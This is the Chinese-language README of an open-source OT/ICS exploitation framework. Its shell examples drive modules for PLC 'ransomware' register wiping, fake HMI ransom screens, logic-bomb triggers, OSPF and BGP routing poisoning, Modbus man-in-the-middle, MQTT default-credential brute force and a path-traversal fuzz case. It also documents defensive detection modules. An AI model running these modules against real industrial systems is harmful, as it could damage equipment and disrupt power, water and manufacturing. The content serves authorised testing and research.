mrhenrike/IndustrialXPL-Forge

 # IndustrialXPL-Forge (IXF) [](https://pypi.org/project/industrialxpl-forge/) [](https://pypi.org/project/industrialxpl-forge/) [](https://opensource.org/licenses/MIT) [](https://github.com/mrhenrike/IndustrialXPL-Forge/actions) [](https://github.com/mrhenrike/IndustrialXPL-Forge) [](https://github.com/mrhenrike/IndustrialXPL-Forge) [](https://github.com/mrhenrike/IndustrialXPL-Forge) [](https://attack.mitre.org/matrices/ics/) [](https://github.com/mrhenrike/IndustrialXPL-Forge) **Python 优先。纯 Python 实现 —— 只需一次 `pip install` 即可安装运行。** ## 快速开始 ``` pip install industrialxpl-forge ixf ``` **终端输出：** 使用支持 ANSI 的现代终端（Linux/macOS，Windows Terminal，PowerShell 7+）。在旧版的 `cmd.exe` 中，请传递 `--no-color` 以禁用转义序列。 **REST API：** `ixf serve --host 127.0.0.1 --port 8443` — 可通过 `pip install industrialxpl-forge[api]` 选择性启用 OpenAPI。 **架构：** 有关组件图和数据流，请参见 [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md)。 或者从源码运行（包含完整的恶意软件及 ics-tools 厂商语料库，约 2 GB）： ``` git clone https://github.com/mrhenrike/IndustrialXPL-Forge cd IndustrialXPL-Forge python3 -m venv .venv && source .venv/bin/activate # Linux/Mac # .venv\Scripts\activate # Windows pip install -e . ixf ``` ## 什么是 IXF？ IndustrialXPL-Forge 是一个模块化、原生 Python 的安全评估与漏洞利用框架，专为**操作技术 (OT)**、**工业控制系统 (ICS)**、**SCADA**、**HMI**、**PLC**、**RTU**、**DCS** 和 **IIoT** 环境设计。 它涵盖了**完整的攻击生命周期**： ``` OSINT → Discovery → Fingerprint → Vulnerability Check → Exploit → Report ``` **核心特性：** - **Python 优先**：所有核心功能均可通过 `pip install industrialxpl-forge` 运行 — 外部运行环境（C, Go, Java）为可选加速器，并内置 Python 回退机制 - **SafeMode 自选启用**：`set simulate true` 或 `setg simulate true` — 仅打印 payload 而不发送；实时探测使用 `simulate=false`（默认） - **MITRE ATT&CK for ICS v19**：覆盖 96/103 项技术 (93%)，支持 `ttp T0843 192.168.1.100` 语法 - **CVE 覆盖**：3,300+ 项 ICS/OT CVE，CVSS 评分从 0.1 到 10.0 - **50 家厂商**：Siemens, Schneider, Rockwell, ABB, Honeywell, Emerson, WEG 等 - **50 种协议**：Modbus, S7comm, EtherNet/IP, DNP3, BACnet, IEC-104, OPC UA, PROFINET 等 ## 模块目录 | 类别 | 模块数 | 描述 | |----------|---------|-------------| | `exploits/protocols/` | ~50 | Modbus, S7, ENIP, DNP3, BACnet, Profinet, IEC104, OPC UA | | `exploits/plc/` | ~80 | Siemens, Schneider, Rockwell, GE, Beckhoff, Unitronics, ABB | | `exploits/scada/` | ~60 | IGSS, RealWin, Genesis32, CoDeSys, FUXA, CitectSCADA | | `exploits/mes/` | ~25 | Ignition, ThinManager, SIMATIC Historian, DELMIA Apriso | | `scanners/ics/` | ~50 | 特定协议发现 (Modbus, S7, BACnet, DNP3...) | | `scanners/osint/` | ~8 | Shodan 查询, ELITEWOLF web dorks, OT Hunt | | `creds/` | ~71 | 50+ OT/ICS 厂商的默认凭据 | | `cve/` | 3,300+ | 所有 CVE 严重级别 (CVSS 0.1-10.0)，3 个实现层级 | | `cve/apt/` | ~10 | APT 恶意软件 TTP：FrostyGoop, Industroyer2, TRITON, INCONTROLLER | | `assessment/` | ~35 | IEC 62443, NIST 800-82r3, MITRE ICS, 风险评分, IR playbook | | `assessment/detection/` | ~8 | Modbus PCAP 分析器, Suricata/Zeek 规则生成器, Conpot 检测 | | `scanners/ot/` | ~10 | 带有 ICS 专用脚本和服务检测的 Nmap OT 扫描器 | | `payloads/` | 42 | 多架构 stagers (x86, x64, ARM, MIPS, PPC, SPARC, …) | | `encoders/` | 17 | Payload 编码器 (x86/shikata, alpha, xor, …) | | `cve/malware/` | 16+ | 原生恶意软件 TTP 模块 (12 个家族 + TRITON TriStation) | | `scanners/malware_research/` | 4+ | Mirai telnet 探测器, 僵尸网络映射器, Shodan 猎手, 编排器 | 在使用恶意软件研究模块之前，请参阅 [DISCLAIMER.md](DISCLAIMER.md) 和 [SECURITY.md](SECURITY.md)。 ## 使用示例 ``` # 打开 IXF 交互式 shell ixf # 加载并运行模块（在 SafeMode 下使用 simulate true） ixf > use scanners/ics/modbus_detect ixf > set target 192.168.1.100 ixf > set simulate true ixf > check # 全局网络选项 ixf > setg PORT 502 ixf > setg TRANSPORT tcp ixf > setg UNIT_ID 1 # 恶意软件研究（仅限授权实验室） ixf > malware list ixf > malware analyze mirai-iot-botnet ixf > use cve/malware/families/mirai_iot_botnet_ttp ixf > set analyze_only true ixf > run # 搜索模块 ixf > search siemens ixf > search CVE-2015-5374 ixf > search modbus # 针对目标执行 TTP-ID ixf > ttp T0843 192.168.1.100 # Program Download — all modules ixf > ttp T0878 10.0.0.0/24 # Alarm Suppression — subnet sweep ixf > ttp-list --tactic evasion # List all Evasion TTP-IDs # 针对 ICS 的 MITRE ATT&CK 扫描 ixf > mitre-scan discovery 192.168.1.0/24 ixf > mitre-scan evasion 192.168.1.100 ixf > mitre-all 192.168.1.100 # All 96+ techniques (simulate by default) ixf > mitre-coverage # Show coverage % per tactic # 特定 CVE 的模块 ixf > cve CVE-2026-25895 # FUXA SCADA pre-auth RCE ixf > cve CVE-2015-5374 # Siemens SIPROTEC4 DoS ixf > cve-scan 192.168.1.0/24 # Discover assets + test all CVEs # 生成报告 ixf > report json ixf > mitre-report layer # ATT&CK Navigator JSON layer ``` ## SafeMode / DestructiveMode **模块默认为 `simulate=false`** — 读取探测和协议检查可能会在执行 `check()` / `run()` 时发送到网络中。请显式启用 SafeMode： ``` ixf (FrostyGoop) > set simulate true ixf (FrostyGoop) > run # SIMULATE: prints payload, no send ixf (FrostyGoop) > set simulate false ixf (FrostyGoop) > set destructive true ixf (FrostyGoop) > run # LIVE: shows banner + requires confirmation ``` 全局 SafeMode：`setg simulate true` 不同影响等级需要相应的确认操作： - `INFO/READ`：自动确认 - `LOW`：简单警告 - `MEDIUM`：按回车键 - `HIGH`：输入 `yes` - `CRITICAL`：输入完整的确认字符串 - `CATASTROPHIC`：输入字符串 + 等待 10 秒 所有破坏性操作都将记录到 `.log/destructive_ops_YYYY-MM-DD.log` 中。 ## OT 环境中的噪音等级 IXF 旨在成为针对 OT/ICS 资产**侵入性最低的扫描器**。与 Nmap 会生成 SYN 数据包、操作系统检测探测以及每个端口发送多个脚本 PDU 不同，IXF 仅发送单个格式正确的协议 PDU — 这与合法的工程工作站所发送的数据包完全一致。 ``` Tool / Mode Noise Risk in OT environments --------------------------------------------------------- tcpdump (passive) 1/5 |||| Zero — listen only Wireshark (passive) 1/5 |||| Zero — listen only IXF check() 2/5 |||||||| 1 TCP conn, 1 valid PDU IXF run() simulate=true 2/5 |||||||| Identical to check() — no writes nmap -sS -T1 3/5 |||||||||||| SYN scan, half-open TCP IXF run() simulate=false 3/5 |||||||||||| 1 conn, 1 read PDU (FC03/FC43) nmap -sS -T2 (OT safe) 3/5 |||||||||||| Acceptable with conservative timing nmap -sV -T3 4/5 |||||||||||||||| Version probes per port nmap --script modbus-* 4/5 |||||||||||||||| Scripts send multiple PDUs nmap -A (aggressive) 5/5 |||||||||||||||||||| OS detect + scripts — AVOID in OT nmap -T4 / -T5 5/5 |||||||||||||||||||| NEVER in OT. May crash assets. ``` **IXF 的全局时序选项直接映射到 Nmap 的 `-T` 标志：** | Nmap | IXF | Socket 超时 | 延迟 | 使用场景 | |------|-----|---------------|-------|----------| | `-T0` | `setg TIMING paranoid` | 5s | 10s | 绝对隐蔽 | | `-T1` | `setg TIMING sneaky` | 3s | 5s | 缓慢的 ICS 环境 | | `-T2` | `setg TIMING polite` | 2s | 1s | **推荐用于 OT** | | `-T3` | `setg TIMING normal` | 1s | 300ms | 默认值（对大多数 OT 安全） | | `-T4` | `setg TIMING aggressive` | 0.5s | 50ms | 仅限实验室/快速网络 | | `-T5` | `setg TIMING insane` | 0.2s | 0ms | 切勿用于生产环境 OT | 其他作为 IXF 全局选项的 Nmap 标志： ``` # nmap --max-retries 1 --host-timeout 30s --max-rate 10 setg MAX_RETRIES 1 setg HOST_TIMEOUT 30 setg MAX_RATE 10 # nmap --scan-delay 500ms setg SCAN_DELAY 500 # nmap --version-intensity 2 setg PROBE_LEVEL 2 # nmap -Pn（跳过 ping） setg SKIP_PING true # nmap -oN output.txt setg OUTPUT output.txt ``` ## Python 优先策略 | 层级 | 类型 | 示例 | 是否必需？ | |------|------|----------|-----------| | **0** | Python 标准库 | socket, struct, select | 始终需要 | | **1** | pip install | pymodbus, scapy, rich, requests | 是 | | **2** | pip 扩展 | asyncua, cpppo, python-can | 可选 | | **3** | 外部运行环境 | ruby, node, java, gcc, go | **可选 — 始终提供 Python 回退** | 所有 SCADA 框架模块均使用 Python 原生实现 — 无需额外工具。 ## 文档 提供英语和巴西葡萄牙语的完整文档： | 语言 | 链接 | |----------|------| | 英语 (en-US) | [docs/en-us/](docs/en-us/_index.md) | | 葡萄牙语 (pt-BR) | [docs/pt-br/](docs/pt-br/_index.md) | **快速链接：** | 主题 | en-US | pt-BR | |-------|-------|-------| | 安装 | [01-installation](docs/en-us/01-installation.md) | [01-instalacao](docs/pt-br/01-instalacao.md) | | 快速开始 | [02-quick-start](docs/en-us/02-quick-start.md) | [02-inicio-rapido](docs/pt-br/02-inicio-rapido.md) | | Shell 参考 (35 个命令) | [03-shell-reference](docs/en-us/03-shell-reference.md) | [03-referencia-shell](docs/pt-br/03-referencia-shell.md) | | 模块系统与选项类型 | [04-module-system](docs/en-us/04-module-system.md) | [04-sistema-modulos](docs/pt-br/04-sistema-modulos.md) | | SafeMode / DestructiveMode | [05-safemode](docs/en-us/05-safemode-destructivemode.md) | [05-safemode](docs/pt-br/05-safemode-destructivemode.md) | | MITRE ATT&CK for ICS | [06-mitre](docs/en-us/06-mitre-attack-ics.md) | [06-mitre](docs/pt-br/06-mitre-attack-ics.md) | | SAST / LLM 分析 | [07-sast](docs/en-us/07-sast-llm.md) | [07-sast](docs/pt-br/07-sast-llm.md) | | 协议与厂商 | [08-protocols](docs/en-us/08-protocols-vendors.md) | [08-protocolos](docs/pt-br/08-protocolos-vendors.md) | | 模块开发 | [09-dev](docs/en-us/09-module-development.md) | [09-desenvolvimento](docs/pt-br/09-desenvolvimento-modulos.md) | | CLI 非交互式 | [10-cli](docs/en-us/10-cli-noninteractive.md) | [10-cli](docs/pt-br/10-cli-nao-interativo.md) | | PolyExploit 运行器 | [11-poly](docs/en-us/11-poly-exploit-runner.md) | [11-poly](docs/pt-br/11-poly-exploit-runner.md) | | 评估与合规 | [12-assessment](docs/en-us/12-assessment-compliance.md) | [12-assessment](docs/pt-br/12-assessment-conformidade.md) | ## 攻击类别 (v2.0.0) ### 勒索软件 (OT/ICS) - 仅限教育模拟 ``` ixf > use exploits/ransomware/plc_project_locker ixf (PLCProjectLocker) > set target 192.168.1.10 ixf (PLCProjectLocker) > set port 502 ixf (PLCProjectLocker) > set simulate true # Required safety flag ixf (PLCProjectLocker) > run [SIMULATE] Modbus TCP connection to 192.168.1.10:502 [SIMULATE] Would write zeros to holding registers: FC16 @ addr 0 len 125 [SIMULATE] 2 FC16 requests required (123 + 2 registers) [SIMULATE] Impact: PLC would halt program execution - CISA AA26-097A TTP [!] To run live: set simulate false, set destructive true [!] Then type exact confirmation string when prompted: I_UNDERSTAND_THIS_IS_DESTRUCTIVE ``` ``` ixf > use exploits/ransomware/hmi_display_ransomware ixf (HMIDisplayRansomware) > set target 192.168.1.20 ixf (HMIDisplayRansomware) > set display_register 1000 ixf (HMIDisplayRansomware) > set simulate true ixf (HMIDisplayRansomware) > run [SIMULATE] Would write 20 registers (40 chars) at Modbus register 1000 [SIMULATE] HMI screen would show: "YOUR SYSTEM IS LOCKED..." [SIMULATE] Based on TRITON/TRISIS HMI manipulation TTP [!] Triple gate required for live execution ``` | 模块 | 路径 | 影响 | 要求 | |--------|------|--------|----------| | `plc_project_locker` | `exploits/ransomware/` | CATASTROPHIC | 三重门限 | | `hmi_display_ransomware` | `exploits/ransomware/` | CATASTROPHIC | 三重门限 | ### 持久化 ``` ixf > use exploits/persistence/plc_logic_bomb_inject ixf (PLCLogicBombActivate) > set target 192.168.1.10 ixf (PLCLogicBombActivate) > set trigger_register 9999 ixf (PLCLogicBombActivate) > set trigger_value 0xDEAD ixf (PLCLogicBombActivate) > set simulate true ixf (PLCLogicBombActivate) > run [SIMULATE] Would write value 0xDEAD (57005) to holding register 9999 [SIMULATE] On 192.168.1.10:502 unit_id=1 using FC16 [SIMULATE] If a logic bomb routine monitors register 9999, it will activate [SIMULATE] Based on INCONTROLLER/PIPEDREAM ICS malware TTPs (Dragos 2022) [!] Set destructive true to execute after confirmation ``` | 模块 | 路径 | 影响 | 参考 | |--------|------|--------|-----------| | `plc_logic_bomb_inject` | `exploits/persistence/` | HIGH | CISA AA22-103A, Dragos CHERNOVITE | ### 路由表中毒 ``` ixf > use exploits/routing/ospf_lsa_inject ixf (OSPFLSAInject) > set iface eth0 ixf (OSPFLSAInject) > set area_id 0.0.0.0 ixf (OSPFLSAInject) > set poison_prefix 10.0.0.0 ixf (OSPFLSAInject) > set simulate true ixf (OSPFLSAInject) > run [SIMULATE] OSPF LSA Type Router (Type 1) would be crafted: [SIMULATE] Area: 0.0.0.0 / Router-ID: 192.168.1.100 [SIMULATE] Network: 10.0.0.0/255.255.255.0 via metric=1 [SIMULATE] LSU packet (72 bytes): 02010024... [SIMULATE] Would send to 224.0.0.5 (AllSPFRouters) x3 on eth0 [!] PREREQ: Scapy + network segment running OSPF (unauthenticated) ``` ``` ixf > use exploits/routing/bgp_vortex_dos ixf (BGPVortexDoS) > set target 10.0.0.1 ixf (BGPVortexDoS) > set attacker_as 65001 ixf (BGPVortexDoS) > set victim_as 65000 ixf (BGPVortexDoS) > set simulate true ixf (BGPVortexDoS) > run [SIMULATE] Would establish BGP session to 10.0.0.1:179 [SIMULATE] UPDATE-A: AS_PATH=[65001,65000] MED=100 COMMUNITY=65001:100 [SIMULATE] UPDATE-B: WITHDRAW + re-announce AS_PATH=[65001] MED=200 [SIMULATE] UPDATE-C: AS_PATH=[65001,65000,65001] MED=50 COMMUNITY=65001:50 [SIMULATE] These trigger persistent oscillation in BGP Decision Process (Vortex) [SIMULATE] Reference: Stoeger et al., USENIX Security 2025 - BGP Vortex ``` | 模块 | 路径 | 影响 | 参考 | |--------|------|--------|-----------| | `ospf_lsa_inject` | `exploits/routing/` | HIGH | DCmal-2025 OSPF spoofing (MDPI 2025), RFC 2328 | | `bgp_vortex_dos` | `exploits/routing/` | HIGH | Stoeger et al., USENIX Security 2025 | ### MiTM - Modbus TCP Inline ``` ixf > use assessment/lateral/modbus_mitm_inline ixf (ModbusMiTM) > set target 192.168.1.10 # PLC ixf (ModbusMiTM) > set listen_host 0.0.0.0 ixf (ModbusMiTM) > set listen_port 1502 # Attacker proxy port ixf (ModbusMiTM) > set simulate true ixf (ModbusMiTM) > run [SIMULATE] Would bind TCP proxy on 0.0.0.0:1502 [SIMULATE] Forwarding all connections to real PLC at 192.168.1.10:502 [SIMULATE] All Modbus frames logged with decoded function code info [SIMULATE] Value injection DISABLED (passive logging only) # 实时被动捕获（无值注入 - 只需 destructive false）： ixf (ModbusMiTM) > set simulate false ixf (ModbusMiTM) > run [*] Modbus MiTM proxy started on 0.0.0.0:1502 [*] Forwarding to 192.168.1.10:502 [+] Client connected: 192.168.1.50 [>] FC3 ReadHoldingRegs addr=0 count=10 -> PLC [<] Response: 10 registers [0x0001, 0x00F2, ...] [>] FC16 WriteRegs addr=0 data=[...] -> PLC [LOGGED] ``` | 模块 | 路径 | 影响 | 前置条件 | |--------|------|--------|---------------| | `modbus_mitm_inline` | `assessment/lateral/` | HIGH | ARP 欺骗已激活 (需先运行 modbus_arpitm) | ### 凭据攻击 ``` ixf > use creds/generic/ics_mqtt_bruteforce ixf (MQTTBruteforce) > set target 192.168.1.50 ixf (MQTTBruteforce) > set port 1883 ixf (MQTTBruteforce) > set simulate true ixf (MQTTBruteforce) > run [SIMULATE] Would attempt 18 credential pairs against MQTT broker at 192.168.1.50:1883 [SIMULATE] First 5: admin:admin, admin:password, admin:, :, guest:guest [SIMULATE] Source: built-in ICS defaults (Mosquitto, HiveMQ, EMQX, SCADA-specific) ``` | 模块 | 路径 | 影响 | 参考 | |--------|------|--------|-----------| | `ics_mqtt_bruteforce` | `creds/generic/` | MEDIUM | OASIS MQTT v3.1.1, MITRE T0806 | ### CVE 2025 | 模块 | 路径 | CVE | 描述 | |--------|------|-----|-------------| | `siemens_telecontrol_cve_2025` | `cve/siemens/` | CVE-2025-28390 | Siemens TeleControl Server Basic 身份验证绕过 + 路径遍历。CVSS 9.8。 | ### 覆盖范围概览 | 类别 | 模块 | 默认模式 | |----------|---------|-------------| | 勒索软件 / 影响 | `plc_project_locker`, `hmi_display_ransomware` | simulate=True (实网需三重门限) | | 持久化 | `plc_logic_bomb_inject` | simulate=True | | 路由 (RTP) | `ospf_lsa_inject`, `bgp_vortex_dos` | simulate=True | | MiTM | `modbus_arp_mitm`, `modbus_mitm_inline` | simulate=True | | 凭据 | `ics_mqtt_bruteforce`, + 30+ 厂商模块 | simulate=True | | CVE 2025 | `siemens_telecontrol_cve_2025` | simulate=True | 所有破坏性模块默认为 `simulate=True`。勒索软件/擦除模块需要三重门限确认：`simulate=False` + `destructive=True` + `explicit_confirm="I_UNDERSTAND_THIS_IS_DESTRUCTIVE"`。 ## 紫队与检测模块 ### Modbus PCAP 分析器 分析捕获的 Modbus/TCP 流量，检测未经授权的写入操作和侦察模式。 ``` ixf > use assessment/detection/modbus_pcap_analyzer ixf (ModbusPCAP) > set PCAP_FILE /tmp/modbus_capture.pcap ixf (ModbusPCAP) > set OUTPUT_JSON /tmp/analysis.json ixf (ModbusPCAP) > run [*] Analyzing Modbus PCAP: /tmp/modbus_capture.pcap [+] Parsed 847 Modbus transactions Summary: Total transactions: 847 Unique source IPs: 3 Write operations: 12 DANGEROUS operations: 4 <- FC5/6/15/16 Recon operations: 2 <- FC43/FC17 [!] ALERT: 4 DANGEROUS Modbus write operations detected Source Destination FC Name Reg Flag 10.0.1.100 10.0.1.10 16 Write Multiple Regs 100 [DANGEROUS] 10.0.1.100 10.0.1.10 5 Write Single Coil 1 [DANGEROUS] 10.0.1.200 10.0.1.10 43 Read Device ID - [RECON] [+] JSON report saved: /tmp/analysis.json [*] Tip: capture with: tcpdump -w capture.pcap 'tcp port 502' ``` ### Suricata OT 规则生成器 生成专为 OT/ICS 协议异常检测定制的 Suricata IDS 规则。 ``` ixf > use assessment/detection/suricata_ot_rules_generator ixf (SuricataOT) > set OUTPUT_FILE /tmp/ics_rules.rules ixf (SuricataOT) > set PROTOCOLS modbus,dnp3,bacnet ixf (SuricataOT) > set INCLUDE_CVE_RULES true ixf (SuricataOT) > run [*] Generating Suricata OT/ICS rules [+] Modbus rules: 18 (write ops, function code abuse, broadcast) [+] DNP3 rules: 9 (unsolicited response, unauthorized control) [+] BACnet rules: 11 (who-is flood, foreign device abuse) [+] CVE-based rules: 14 (TRITON, FrostyGoop, INCONTROLLER signatures) [+] Total rules: 52 [+] Rules written to: /tmp/ics_rules.rules [*] Load with: suricata -r traffic.pcap -S /tmp/ics_rules.rules ``` ### Modbus Zeek 规则生成器 生成用于 Modbus/TCP 流量分析和告警的 Zeek/Bro 脚本。 ``` ixf > use assessment/detection/modbus_zeek_rule_generator ixf (ModbusZeek) > set OUTPUT_DIR /tmp/zeek_scripts ixf (ModbusZeek) > set ALERT_WRITE_OPS true ixf (ModbusZeek) > set ALERT_BROADCAST true ixf (ModbusZeek) > run [*] Generating Zeek Modbus analysis scripts [+] modbus-write-monitor.zeek Alert on FC5/6/15/16 write operations [+] modbus-broadcast-detect.zeek Detect broadcast unit_id=255 recon [+] modbus-function-log.zeek Full function code audit log [+] modbus-anomaly-detect.zeek Statistical baseline deviation alerts [+] Scripts saved to: /tmp/zeek_scripts/ [*] Load with: zeek -i eth0 /tmp/zeek_scripts/ ``` ### CoAP 协议 Fuzzer 发送格式错误的 CoAP 数据包，测试嵌入式 IIoT 设备对解析器攻击的抵御能力。 ``` ixf > use exploits/protocols/coap_fuzzer ixf (CoAPFuzzer) > set TARGET 192.168.1.10 ixf (CoAPFuzzer) > set PORT 5683 ixf (CoAPFuzzer) > set SIMULATE true ixf (CoAPFuzzer) > run [SIMULATE] CoAP Fuzzer: 8 test cases against 192.168.1.10:5683 Case Description Expected invalid_version_3 Version field=3 (invalid) ignore/error tkl_overflow TKL says 15, 4 bytes follow buffer overflow payload_marker_empty 0xFF marker with empty payload protocol error option_length_overflow Extended length 255, no data buffer read overflow uri_path_traversal /../../../etc/passwd in URI-Path access denial observe_flood_50x Subscribe flood via CoAP Observe resource exhaustion empty_rst RST with empty code no crash giant_token_32 TKL=8 but 32 bytes follow crash or ignore [!] Set SIMULATE=false to send to live target [!] TIMEOUT = possible DoS/crash | RESPONSE = device still up ``` ### Conpot 蜜罐检测 通过对特征响应模式进行指纹识别，发现 Conpot ICS 蜜罐部署。 ``` ixf > use assessment/detection/conpot_integration ixf (ConpotDetect) > set TARGET 192.168.1.10 ixf (ConpotDetect) > set CHECK_MODBUS true ixf (ConpotDetect) > set CHECK_S7 true ixf (ConpotDetect) > run [*] Scanning 192.168.1.10 for Conpot honeypot indicators [*] Modbus FC43 (Read Device ID): vendor=Siemens, model=S7-200 [GENERIC - SUSPECT] [*] S7comm: firmware version matches known Conpot default [INDICATOR] [*] HTTP /index.html: default Conpot template detected [CONFIRMED] [!] VERDICT: High confidence Conpot honeypot (3/3 indicators) [*] Tip: real Siemens S7-200 does not expose HTTP on port 80 by default ``` ### Nmap OT 扫描器 运行带有 OT/ICS 专用 NSE 脚本的 Nmap，用于协议发现和服务指纹识别。 ``` ixf > use scanners/ot/nmap_ot_scanner ixf (NmapOT) > set TARGET 192.168.1.0/24 ixf (NmapOT) > set PROTOCOLS modbus,s7,bacnet,enip ixf (NmapOT) > set SIMULATE true ixf (NmapOT) > run [SIMULATE] Nmap OT Scanner - target: 192.168.1.0/24 Command that would run: nmap -sV -p 502,102,47808,44818 --script modbus-discover,s7-info,bacnet-info,enip-info 192.168.1.0/24 Expected discovery scripts: modbus-discover Port 502 - Unit ID enumeration, FC43 device info s7-info Port 102 - Siemens S7comm PLC fingerprint bacnet-info Port 47808- BACnet device object list enip-info Port 44818- EtherNet/IP identity object [!] Set SIMULATE=false to run against live targets (requires nmap installed) ``` ### 实验室环境配置 (Docker) 生成包含 Conpot、FUXA SCADA 和 OpenPLC 的完整 Docker Compose ICS/OT 实验室环境。 ``` ixf > use assessment/lab_environment_setup ixf (ICSLab) > set INCLUDE_CONPOT true ixf (ICSLab) > set INCLUDE_FUXA true ixf (ICSLab) > set OUTPUT_DIR /tmp/ics_lab ixf (ICSLab) > run [+] ICS/OT lab files generated in: /tmp/ics_lab docker-compose.yml Docker services definition setup.sh Automated setup script LAB_NOTES.md Lab exercises guide [*] Start lab: cd /tmp/ics_lab && bash setup.sh [*] Components: Conpot 172.20.0.10 Modbus:502, HTTP:80, S7comm:102 FUXA 172.20.0.20 SCADA HMI: http://localhost:1881 [*] Stop lab: docker compose down ``` ## 法律免责声明 本工具仅供**授权的安全测试、研究和教育目的**使用。 在您不拥有或未获得**明确书面授权**进行测试的系统上使用 IndustrialXPL-Forge 是**违法的**，并可能违反您所在司法管辖区的计算机欺诈相关法律。 OT/ICS 系统控制着关键的物理基础设施。未经授权的使用可能会导致： - 工业设备的物理损坏 - 基本服务中断（电力、水务、燃气、制造业） - 人身伤亡 - 严重的法律处罚 **作者及 União Geek 对任何滥用行为不承担责任。用户须对使用此工具执行的所有操作承担全部法律和道德责任。** ## 作者与致谢 **作者：** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/) 模块来源：EmbedXPL-Forge (同系列套件), ISF/ICSSploit, ModBusSploit, n-days-poc-benchmark, InduGuard, ZeronTek OT Hunt 研究, CISA ICS-CERT 通告, Vedere Labs OT:ICEFALL, ExploitDB ICS 目录, GitHub 公开 PoC。

标签：AES-256, OT/ICS安全, Python, SCADA, 哈希传递, 安全评估框架, 无后门, 漏洞评估, 逆向工具